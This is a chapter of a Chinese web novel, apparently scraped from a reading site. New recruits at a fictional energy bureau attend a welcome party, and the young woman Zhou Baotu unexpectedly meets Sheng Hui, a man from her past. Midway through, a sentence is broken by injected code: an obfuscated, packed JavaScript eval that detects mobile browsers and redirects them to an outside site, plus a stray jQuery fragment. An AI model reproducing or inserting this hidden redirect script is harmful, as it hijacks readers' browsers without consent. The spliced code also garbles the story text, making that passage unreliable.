那幢白色的建筑,正立于一片森林之中,大门前的空地上站了一群人,身上都穿着银白色的衣服,似乎是在等待。大巴的速度降得足够慢了,周宝涂看见他们一闪而过的脸上都带着笑意。
“各位辛苦了,能监局欢迎你们!”站在众人面前的女人五官冷艳,亲切中却遮不住那股说一不二的魄力,然而周宝涂第一眼看见的却是她身上那件银白制服,挂着一块胸牌,上面刻了几个小字。
冯绪轻轻挨了挨周宝涂,压低的声音里满是惊讶,“哎,这位就是孟萤珈啊,最新的植物能量分离器研究成果就是她负责的团队做出来的!她亲自来欢迎我们?!”
大概是人群中这样的感叹实在太多,孟萤珈脸上浮现笑意,道:“大家都是通过重重考核,千锤百炼之后才成为能监局的一员。那么从今天开始,能监局是大家的家,而我们就是互相的家人,在家人面前,不要拘谨,工作之余自由地说话做事,用最自然的状态来相处就好了。”
她这番话很好安抚了年轻人们初来乍到不适应的心情,却被另一道男声打破:“孟女士还是喜欢对新人灌输一些无用的心灵鸡汤,与其让奔波半日的孩子们站在门口听你演讲,不如赶紧进去,让他们好好休息一番。”
周宝涂循声望去,看见一个瘦高男人从大门内走出来,看清他的脸以后,不禁笑出声。
说话的男人名叫钟齐,正是人体能量领域的另外一位大拿。他和孟萤珈同属能监局技术部的骨干研究员,在学术方面完全持着相反的观点,钟齐甚至还在孟萤珈团队关于植物能量分离器成果出炉以后,写了一篇文章,彻底否定这种分离器的可行性。
两个人针尖对麦芒的关系,不知道为多少大学课堂津津乐道。如今一看,倒还真是很尖锐啊。
“钟先生说得是啊,在里面坐着等了那么久也是难为你了,还能想到孩子们现在会有多累。”孟萤珈笑着回他,脑袋却是转都不转一下,“大家请往里吧,我们的后勤部已经准备好了晚餐。”
出乎意料的,能监局迎新阵仗很大。高级研究员亲自接待不说,不仅有精心布置的场地和明显外包的丰富饭菜,甚至准备好了灯光酒水和节目,大有让这群年轻人尽情释放的意思。
宽敞的一楼大厅里,到处充满了快活的气氛。
比周宝涂在大学时参加的很多活动还要嗨,实在又刷新了她对这个机构的认识。
冯绪随大流找孟萤珈搭话,跟着一群人起哄、废了大力气从她嘴里敲出一点关于能量分离器的消息,然后满足地转回去找周宝涂。
找了好几处,才在一个角落的座位里发现周宝涂。她应该是喝了点酒,脸色微红,跟人说话的时候歪着头笑,冯绪走近几步,才看清她身边坐了一个男人,正是大巴车上的领队前辈张凌。
“前辈?”
张凌看见有人来了,似乎是松一口气,“你快回来看着她,这孩子身体不舒服还喝酒,我担心出什么问题,所以特意过来看一眼。”
冯绪赶紧凑上前,想近距离观察周宝涂的情况,被她闪着脑袋躲开。
“你喝什么酒?”冯绪和她认识不过半天,但已经把照顾她的责任理所当然地归到自己身上。她叹口气,对张凌道谢:“前辈,谢谢您了。”
张凌挥挥手,“照顾你们本来是后勤部的责任,不用谢。”
周宝涂坐得板正,在两人说话间隙,把桌子上没吃完的小蛋糕分别推向两人。
“这个好吃,吃这个。”
见两个人动也不动,只是盯着她看。周宝涂似乎有些疑惑,但过了几秒,脸上倏然绽开一个笑,眼睛水润发亮,笑了一会儿,嘴角就掉下来,长长的睫毛也往下垂,眼角眉梢都透着低落。
冯绪愣了愣,才转头看张凌。这前辈难道欺负人小女孩了?
张凌无奈摇头,声音放低:“我是看见她心情不好,才过来的。”
他接触这些孩子一天下来,虽然有各种各样的问题,却无一例外都是由于入职第一天过于兴奋所致,只有眼前这位是个例外。
“你们是刚刚认识的吗?她有没有和你说过,是不是……想家了?”张凌决定重视这个问题,他才刚调来后勤部,头一回负责新人,可不能出半点差错。况且,那位的令,他也不敢不从。
冯绪摇了摇头,不过细细回想起来,这个小丫头似乎从一开始心情就不算很好。她之前只以为是周宝涂性格比较沉稳,可后面相处多了,发现她的性格也许和沉稳并不搭边,只能说是个不算直率,但却很难掩饰自己心情的女孩。
稍微有些醉了的人突然摇摇晃晃站起身,脚步还没稳住,就要向外走。冯绪拉住她,“去哪儿?”
“点心吃得太多啦,我要出去散步消化一下,你们快去玩吧!”她掀着手示意他们往前面去。
冯绪看出她明显的焦急神色,和张凌对视了一眼,才缓缓站起身,“……那你?”
“安心安心,我不会乱跑的。”
冯绪端详她的神色,却见周宝涂躲躲闪闪,眼神偶尔往后面瞧,又飞快撤回来,像在躲什么人似的,实在古怪得很。
张凌也察觉到面前的人反应有些怪异,以为是她不好意思了,轻拍了拍她的肩膀鼓励道:“刚进来确实会不适应,无论工作还是生活上,需要帮忙尽管和我说。上面总强调,说你们年轻人不爱和前辈求助,我本来不以为然,现在倒是真有点担心起来了。”
周宝涂说好,然后还是急着要走。
冯绪又多看了她几眼,确认周宝涂脸上除了有些发红以外一切正常之后,刚要转身,身后的张凌似乎是看见什么熟人,满脸惊喜,叫道:“盛恢!”
那两个熟悉得不能再熟悉的字眼一蹦出来,周宝涂顿时定在原地,心情霎时间变得无比复杂。
他瘦了一些,脸上棱角更分明了,下巴冒出一些青色,整个人都笼在一股低沉的氛围里。只是他脸色平静,不像心情低落的影响,更像是因为什么事情,收敛了所有的情绪,周
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16280274|182525||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
宝涂猜大概是因为工作。
他专注起工作来一直都是这个样子,会让人因为那股过于外露的冷漠而不敢接近。
盛恢应声:“前辈。”
张凌见到他,瞬间忘了自己刚才还在努力塑造的沉稳知心前辈人设,凑过去低声道:“你小子总算是从实验室里出来了啊,我说,都在一个单位里,这还是我这大半个月见你头一回。”
两年前,盛恢刚到能监局,张凌也还待在技术部。他还记得,当时几个部门抢破了头,什么招数都使出来了,最后还是花落技术部。张凌当然不会狂妄到认为这全出于自己最初对盛恢多有照顾的功劳,但没有功劳,也有苦劳,好歹自己也是出了一份力的。
这两年看着盛恢不是泡在实验室,就是被别的部门外借,成天被数不清的工作团团包围,尽管知道才尽其用的道理,张凌还是多少有些担心。毕竟……人也不是铁打的,谁家的孩子谁心疼!
“您对实验室多上点心,也不至于大半个月见不到我。”盛恢挪开他搭在自己肩膀上的手,“实验服没脱,脏。”
张凌把手收回来,“光看我上不上心了,我伤心的时候你在哪儿。上面把所有新人引导的工作丢给我的时候你在哪儿?哦,你小子那会儿在甜甜蜜蜜谈恋爱呢。”
罕见的,他这话说完竟没见盛恢回怼。这小子嘴皮子功夫厉害,话少但攻击性极强,半个月不见,怎么退守被动地位了?他可不觉得在实验室待久了还能提升人情世故洞察力的。
一看,盛恢脸色神情并无异常,他没怎么打理自己,冒出点淡青色胡渣,倒是比之前不说话的样子还要阴郁一些。
最令张凌大脑有些宕机的是,这小子一直盯着自己身后——那个新来的女孩。他那眼神极其专注,和看实验数据的状态有得一比,但张凌很肯定,盛恢看实验数据的时候绝对不会这么……犹豫。
他破天荒的,头一回在盛恢身上看到了“犹豫”两个字。
可是无论如何,也不能这么明目张胆啊!他看着冯绪越来越警惕的眼神,显然就快把他们俩当成坏人了。
他三言两语介绍了周宝涂和冯绪,而后找了个借口,拉着还没来得及说话的盛恢走过一旁。
盛恢的眼睛一直到张凌压低了声音怒气冲冲骂完两三句后才回到他身上,“谁不守男德?”
“……你还好意思问啊。我说你是不是吃错药了?人家小姑娘今天刚来报道,你非要这样损坏能监局的形象吗?”
盛恢只听他开了个头就移开视线,慢条斯理脱下身上的实验服,慢慢道:“怎么就损坏形象了?”
张凌竖眉瞪眼,道:“你那眼睛就跟长人身上一样,还好意思问我?我跟你说,往回退几十年,这种行为叫登徒子知不知道?!”
实验服从身上脱下来,纹丝不乱,乖顺地搭在男人手上。他解开衬衫两粒扣子,看向张凌,没说话。不知道是不是张凌的错觉,他平静无波的眼神里似乎含着点“理所当然”的意思。